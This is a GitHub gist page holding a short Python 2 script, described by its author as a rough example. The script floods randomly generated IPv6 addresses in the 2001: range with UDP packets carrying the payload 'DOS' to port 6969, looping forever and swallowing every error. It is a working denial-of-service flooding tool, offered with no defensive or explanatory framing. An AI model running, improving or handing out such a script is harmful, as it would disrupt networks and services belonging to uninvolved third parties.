Skip to content

Instantly share code, notes, and snippets.

@TheSkorm
Created August 3, 2013 13:44
Show Gist options
  • Select an option

  • Save TheSkorm/6146494 to your computer and use it in GitHub Desktop.

Select an option

Save TheSkorm/6146494 to your computer and use it in GitHub Desktop.
Very shit example. Not using random could save some CPU.
import socket
import random
hexs = "0123456789ABCDEF"
UDP_PORT = 6969
MESSAGE = "DOS"
PREFIX = "2001:"
sock = socket.socket(socket.AF_INET6, # Internet
socket.SOCK_DGRAM) # UDP
while 1:
try:
UDP_IP = PREFIX + ":" + "".join(random.sample(hexs,4)) + ":" + "".join(random.sample(hexs,4)) + ":" + "".join(random.sample(hexs,4)) + ":" + "".join(random.sample(hexs,4))
print UDP_IP
sock.sendto(MESSAGE, (UDP_IP, UDP_PORT))
except:
pass
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment